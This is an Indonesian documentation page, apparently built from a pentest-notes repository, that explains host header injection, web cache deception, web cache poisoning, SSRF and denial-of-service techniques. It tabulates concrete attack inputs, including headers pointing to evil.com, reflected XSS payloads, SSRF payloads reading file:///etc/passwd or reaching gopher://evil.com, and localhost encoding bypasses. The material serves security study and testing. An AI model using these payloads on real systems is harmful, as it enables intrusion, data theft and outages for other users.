Lompat ke konten
dokumentasi.id
Commit 0a16c9d
v1
Star6,9 rb

Kamu membaca versi lama. Halaman ini hanya bisa dibaca.

2.6

Manipulasi Request dan Cache

Lima catatan di root repository ini menyerang satu lapisan yang sama: metadata request. Penyerang mengubah header, path, atau parameter berisi URL, lalu membiarkan cache di antara klien dan origin memperbesar dampaknya. Perbedaannya terletak pada bagian request yang disentuh dan siapa yang akhirnya menerima response hasil manipulasi.

Tiga titik kontrol dalam satu request

Titik pertama adalah header. Nilai seperti Host dan X-Forwarded-Host jarang ikut masuk cache key, sehingga perubahannya tidak memisahkan entri cache. Titik kedua adalah path. Tambahan ekstensi membuat cache menganggap halaman dinamis sebagai aset statis. Titik ketiga adalah parameter berisi URL, yang menentukan alamat tujuan request keluar dari server.

Titik kontrolYang diubahBerkas catatanAkibat yang dituju
Header Host dan header overridenilai hostHost Header Injection.mdtautan di email mengarah ke domain penyerang
Pathtambahan .js atau ;.jsWeb Cache Deception.mdkonten privat tersimpan di cache publik
Header unkeyedX-Forwarded-Host, X-Host, X-Forwarded-ServerWeb Cache Poisoning.mdresponse beracun disajikan ke pengguna lain
Parameter berisi URLurl, urlApiServer Side Request Forgery.mdserver menghubungi alamat internal
Header dan ukuran bodyheader besar, nilai panjangDenial Of Service.mdlayanan berhenti melayani

Host header injection

Catatan ini terdaftar di katalog repository (README.md:16). Sasaran pencariannya adalah fitur yang mengirim email ke pengguna, misalnya forgot password atau newsletter, karena nilai Host ikut tercetak pada tautan di dalam email. Server yang mempercayai Host tanpa validasi akan memakai nilai itu untuk membangun tautan dan redirect.

VariasiBentuk request yang dicoba
Ganti nilai HostGET /index.php dengan Host bernilai evil-website.com
Duplikasi headerdua baris Host, yaitu vulnerable-website.com lalu evil-website.com
Line wrappingbaris Host kedua diawali satu spasi sebelum evil-website.com
Header overrideX-Forwarded-For, X-Forwarded-Host, X-Client-IP, X-Remote-IP, X-Remote-Addr, dan X-Host diisi evil-website.com
URL absolutrequest line memakai https://vulnerable-website.com/ sementara Host diisi evil-website.com

Contoh pemakaian pada catatan asal menyisipkan X-Forwarded-For berisi evil-website.com di samping Host yang sah.

⚠️ Daftar header override di atas dipakai ulang oleh Web Cache Poisoning. Satu header yang sama bisa menjadi bahan uji host injection sekaligus vektor racun cache, jadi hasil HIT perlu diperiksa terhadap perubahan isi response.

Efek lanjutan pada alur reset password dibahas di Catatan Kontrol Akses dan Autentikasi.

Web cache deception

Entri katalognya tercatat di README.md:28. Baseline GET /profile/setting sudah mengembalikan Cf-Cache-Status: HIT, jadi uji berfokus pada perubahan path, bukan pada header.

sequenceDiagram
    autonumber
    participant P as Penyerang
    participant C as Caching proxy
    participant O as Origin
    P->>C: GET /profile/setting
    C->>O: teruskan request (Host: www.vuln.com)
    O-->>C: HTTP/2 200 OK, Content-Type: text/html
    C-->>P: Cf-Cache-Status: MISS
    P->>C: GET /profile/setting/.js
    Note over C: path berakhiran .js dianggap aset statis
    C->>O: teruskan request (Host: www.vuln.com)
    O-->>C: HTTP/2 200 OK, konten privat profil
    Note over C: konten privat korban masuk cache
    C-->>P: Cf-Cache-Status: HIT
    P->>C: ulangi GET /profile/setting/.js dari incognito
    C-->>P: konten privat korban dari cache
%% fig: Perjalanan request cache deception
%% desc: Path yang ditambah ekstensi statis membuat proxy menyimpan konten privat profil, lalu menyerahkannya lagi dengan status HIT.
Fig. 1: Perjalanan request cache deceptionPath yang ditambah ekstensi statis membuat proxy menyimpan konten privat profil, lalu menyerahkannya lagi dengan status HIT.
Variasi pathNilai Cf-Cache-Status yang dicariVerifikasi
/profile/settingHITpembanding baseline
/profile/setting/.jsHIT, bukan MISS atau Errorbuka URL di incognito
/profile/setting/;.jsHIT, bukan MISS atau Errorbuka URL di incognito

Kalau response tetap HTTP/2 200 OK dengan Content-Type: text/html meski path berakhiran .js, cache menyimpan halaman dinamis dan menganggapnya berkas statis. Titik koma sebelum ekstensi dipakai untuk melewati aturan cache yang menyaring pola /.js.

Web cache poisoning

Entri katalognya tercatat di README.md:29. Tujuannya mengirim request yang memicu response berbahaya, lalu response itu tersimpan di cache dan disajikan ke pengguna lain.

graph LR
    U["Unkeyed input: X-Forwarded-Host, X-Host, X-Forwarded-Server"] --> O["Origin server"]
    O --> R["Nilai header terpantul ke body atau Location"]
    R --> K["Cache menyimpan response"]
    K --> V["Pengguna lain menerima response beracun"]
    style U fill:#f59e0b,color:#000
    style O fill:#336791,color:#fff
    style R fill:#dc2626,color:#fff
    style K fill:#8b5cf6,color:#fff
    style V fill:#dc2626,color:#fff
%% fig: Rantai web cache poisoning
%% desc: Header yang tidak masuk cache key dipantulkan origin, disimpan cache, lalu ikut disajikan ke pengguna lain.
Fig. 2: Rantai web cache poisoningHeader yang tidak masuk cache key dipantulkan origin, disimpan cache, lalu ikut disajikan ke pengguna lain.
TeknikHeader yang diubahBukti pada response
Basic poisoningX-Forwarded-Host berisi evil.comCache-Control: public, no-cache dan <img href="https://evil.com/a.png" />
Basic poisoning dengan payload XSSX-Forwarded-Host berisi a."><script>alert(1)</script>nilai terpantul di dalam atribut img
Seizing the cacheX-Host berisi evil.com pada Host bernilai unity3d.comVia: 1.1 varnish-v4, Age: 174, Cache-Control: public, max-age=1800, <script src="https://evil.com/x.js">
Selective poisoningX-Forwarded-Host berisi a"><iframe onload=alert(1)> dengan User-Agent FirefoxVary: User-Agent, Accept-Encoding dan X-Served-By: cache-lhr6335-LHR
Chaining unkeyed inputsX-Forwarded-Host berisi xyz, lalu X-Forwarded-Scheme berisi nothttps, lalu keduanyaSet-Cookie: locale=en; domain=xyz, 301 ke https://redacted.net, lalu 301 ke https://attacker.com/en
Route poisoningX-Forwarded-Server berisi evil, lalu X-Forwarded-Host berisi portswigger-labs-4223616.hs-sites.com404 dengan CF-Cache-Status: MISS dan teks The domain canary does not exist in our system., lalu 200 dengan <script>alert(document.domain)</script>
Hidden route poisoningX-Forwarded-Host berisi evil, lalu noshandnibble.ghost.io302 ke https://ghost.org/fail/, lalu 302 ke http://noshandnibble.blog/

⚠️ Angka Age: 174 dan max-age=1800 menunjukkan response racun bertahan lama, sedangkan Vary: User-Agent, Accept-Encoding di selective poisoning membatasi korban pada profil klien tertentu. Racun di cache bersama tetap mengenai pengguna yang cocok dengan profil itu.

Payload XSS yang dipantulkan lewat header ini dibahas sebagai serangan sisi klien di Catatan Serangan Sisi Klien.

Server side request forgery

Entri katalognya tercatat di README.md:26. Titik masuknya adalah parameter yang nilainya berupa URL, misalnya urlApi pada POST /api/check/products dengan body urlApi=http://192.168.1.1%2fapi%2f&id=1, dan url pada GET /image?url=http://192.168.1.1/.

graph LR
    P["Parameter url atau urlApi pada request"] --> S["Server aplikasi menjalankan fetch"]
    S --> I["http://192.168.1.1/ di jaringan internal"]
    S --> L["http://127.0.0.1 lokal"]
    S --> F["file:///etc/passwd"]
    S --> G["gopher://evil.com/_Test%0ASSRF"]
    style P fill:#f59e0b,color:#000
    style S fill:#336791,color:#fff
    style I fill:#dc2626,color:#fff
    style L fill:#dc2626,color:#fff
    style F fill:#8b5cf6,color:#fff
    style G fill:#8b5cf6,color:#fff
%% fig: Batas kepercayaan SSRF
%% desc: Nilai parameter URL menentukan alamat yang dihubungi server, mulai dari jaringan internal sampai skema selain HTTP.
Fig. 3: Batas kepercayaan SSRFNilai parameter URL menentukan alamat yang dihubungi server, mulai dari jaringan internal sampai skema selain HTTP.

Encoding dipakai untuk melewati filter yang hanya memeriksa bentuk 127.0.0.1.

TeknikBentuk payload
Dasar127.0.0.1 dan localhost dengan port 1337
Hex0x7f.0x0.0x0.0x1
Octal0177.0.0.01
Dword2130706433
Campuran0177.0.0.0x1
URL encoding%6c%6f%63%61%6c%68%6f%73%74
IPv60000::1 dan [::] dengan port 1337
Bubble textⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
SkemaContoh
filefile:///etc/passwd
dictdict://127.0.0.1 dengan port 1337
ftpftp://127.0.0.1/
tftptftp://evil.com/test dengan port 1337
sftpsftp://evil.com/test dengan port 1337
ldapldap://127.0.0.1 dengan port 1337
gophergopher://evil.com/_Test%0ASSRF

Trik melewati filter SSRF yang lebih ketat dibahas di Teknik Bypass Proteksi.

Denial of service

Entri katalognya tercatat di README.md:14. Catatan asal menegaskan bahwa gangguan bisa muncul di semua fitur, bergantung pada cara eksploitasinya.

ButirYang dilakukanPenanda berhasil
Cookie bombnilai panjang pada parameter, misalnya param1cookie dengan nilai panjang yang sama muncul
Payload panjangPOST /register dengan username dan password sangat panjangrequest diproses tanpa batas panjang
Pixel floodunggah JPG beresolusi sangat besarproses decode gambar membebani server
Frame floodunggah GIF dengan jumlah frame sangat besardecoder GIF kehabisan sumber daya
Parameter ukuranwidth dan height diubah dari 500 menjadi 99999999999server mengalokasikan memori untuk ukuran itu
Header berulangAccept-Encoding berisi gzip, gzip, deflate, br, brnilai ganda diproses berulang
Tanpa rate limitkirim banyak request terus-meneruslayanan melambat lalu turun
ReDoSinput yang memicu backtracking pada RegExresponse menggantung
CPDoSheader yang membuat origin membalas errorerror itu tersimpan di cache

Unggahan berkas berukuran sangat besar menyentuh fitur upload; urusan fitur unggah dibahas di Catatan Manipulasi Berkas.

CPDoS: cache menyimpan error

Varian CPDoS memakai satu header yang membuat origin menolak request, sementara cache tetap menerima dan menyimpan hasilnya.

graph TD
    HHO["HHO: X-Oversized-Header-1"] --> O["Origin server"]
    HMC["HMC: X-Meta-Malicious-Header"] --> O
    HMO["HMO: X-HTTP-Method-Override"] --> O
    FP["X-Forwarded-Port"] --> O
    FH["X-Forwarded-Host dengan port"] --> O
    O --> E400["400 Header size exceeded"]
    O --> E404["404 POST on /index.php not found"]
    O --> EC["response error pada host yang disasar"]
    E400 --> C["Cache menyimpan response error"]
    E404 --> C
    EC --> C
    C --> U["Semua pengguna menerima error"]
    style HHO fill:#f59e0b,color:#000
    style HMC fill:#f59e0b,color:#000
    style HMO fill:#f59e0b,color:#000
    style FP fill:#f59e0b,color:#000
    style FH fill:#f59e0b,color:#000
    style O fill:#336791,color:#fff
    style E400 fill:#dc2626,color:#fff
    style E404 fill:#dc2626,color:#fff
    style EC fill:#dc2626,color:#fff
    style C fill:#8b5cf6,color:#fff
    style U fill:#dc2626,color:#fff
%% fig: Rantai CPDoS dari header ke cache
%% desc: Header yang membuat origin membalas 400 atau 404 ikut tersimpan cache, sehingga pengguna lain menerima error yang sama.
Fig. 4: Rantai CPDoS dari header ke cacheHeader yang membuat origin membalas 400 atau 404 ikut tersimpan cache, sehingga pengguna lain menerima error yang sama.
VarianHeaderresponse origin
HTTP Header OversizeX-Oversized-Header-1 berukuran besar400 Bad Request dengan Header size exceeded
HTTP Meta CharacterX-Meta-Malicious-Header berisi \r\n400 Bad Request dengan Character not allowed
HTTP Method OverrideX-HTTP-Method-Override berisi POST404 Not Found dengan POST on /index.php not found
X-Forwarded-Portnilai port 123response error tersimpan di cache
X-Forwarded-Hosthost ditambah port 123response error tersimpan di cache

Header method override yang tercatat ada tiga: X-HTTP-Method-Override, X-HTTP-Method, dan X-Method-Override.

⚠️ Contoh CPDoS pada catatan asal menyertakan ?dontpoisoneveryone=1 pada URL. cache dipakai bersama, jadi response error yang tersimpan bisa mengenai pengguna lain, bukan hanya sesi pengujian. Karakter kontrol pada HMC juga bersinggungan dengan penyisipan CRLF yang dibahas di Catatan Kerentanan Injeksi.

Kaitan ke halaman lain